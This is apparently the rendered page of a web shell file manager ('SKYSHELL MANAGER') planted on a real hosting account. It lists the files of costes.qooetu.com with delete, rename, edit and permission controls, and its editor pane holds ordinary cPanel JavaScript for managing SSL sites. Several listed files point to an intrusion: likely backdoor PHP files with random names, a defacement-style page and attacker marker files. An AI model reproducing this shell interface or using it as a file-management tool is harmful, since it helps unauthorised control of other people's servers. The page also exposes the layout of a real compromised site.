📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: listsslhosts.js
(function(window) { "use strict"; var EVENT = window.EVENT; var CPANEL = window.CPANEL; var LOCALE = window.LOCALE; var document = window.document; /** * Handle a click for setting a website as primary on its IP. * * @param e {Object} The click event object. */ function primary_button_click_listener(e) { var clicked_el = e.target; var servername = clicked_el.getAttribute("data-servername"); var pp = new CPANEL.ajax.Progress_Panel(null, { status_html: LOCALE.maketext("Setting “[_1]” as its IP address’s primary SSL website …", servername.html_encode()), effect: CPANEL.ajax.FADE_MODAL }); pp.show_from_source(clicked_el); CPANEL.api({ func: "set_primary_servername", data: { type: "ssl", servername: servername }, callback: CPANEL.ajax.build_page_callback(function() { on_set_primary_success(pp, servername); }, { on_error: pp.hide.bind(pp) }) }); } /** * Handle a successful response from setting primary. * * @param progress_panel {CPANEL.ajax.Progress_Panel} The progress panel to replace. * @param servername {String} The new primary's servername. */ function on_set_primary_success(progress_panel, servername) { var dialog = new CPANEL.ajax.Common_Dialog(null, { buttons: [{ text: LOCALE.maketext("OK"), isDefault: true, handler: reload_button_handler, classes: "input-button" }] }); dialog.setHeader(LOCALE.maketext("Primary SSL Website Set Successfully")); dialog.beforeShowEvent.subscribe(function() { this.form.innerHTML = LOCALE.maketext("“[_1]” is now the primary SSL website on its IP address.", servername.html_encode()); this.center(); }); progress_panel.fade_to(dialog); } /** * What to do with an "OK" click when the page is to reload. */ function reload_button_handler(e, dialog) { var this_button = dialog.getButtons()[0]; this_button.disabled = true; if (document.activeElement === this_button) { this_button.blur(); } // Strip out a query from the URL, and reload. window.location.href = window.location.pathname; } /** * Handles formatting arguments to be sent as part of an api call. * Supports sending a api argument that has mulitple values. * * An argument with one value shows up as: * { * argname: value * } * * An argument with multiple values shows up as: * { * argname: value, * argname-1: value1, * argname-2: value2, * ... * } * * @param argname {string} name of the argument to send to the api * @param list {array} the list of values for the above argument */ function formatArguments(argname, list) { var arg = {}; for (var i = 0, len = list.length; i < len; i++) { if (i === 0) { arg[argname] = list[i]; } else { arg[argname + "-" + i] = list[i]; } } return arg; } /** * Handles the toggling of checkboxes * * @param toggle {boolean} controls setting the checked state of the checkboxes */ function toggle_select_all(toggle) { var checkboxes = document.querySelectorAll("input[type='checkbox']"); for (var i = 0, len = checkboxes.length; i < len; i++) { checkboxes[i].checked = toggle; } } /** * Gets all the currently selected items in the table */ function get_selected_items() { var items = []; var checkboxes = Array.prototype.slice.call(document.querySelectorAll("input[type='checkbox']:checked")); checkboxes = checkboxes.filter(function(element) { if (element.id !== "selectAll") { return element; } }); checkboxes.forEach(function(element) { var host = element.getAttribute("data-host"); items.push(host); }); return items; } EVENT.onDOMReady(function() { var primary_buttons = document.querySelectorAll(".make-primary-button"); for (var b = 0; b < primary_buttons.length; b++) { EVENT.on(primary_buttons[b], "click", primary_button_click_listener); } // add check all functionality to the table var selectAllToggle = document.getElementById("selectAll"); EVENT.on(selectAllToggle, "click", function() { toggle_select_all(selectAllToggle.checked); }); }); })(window);
Save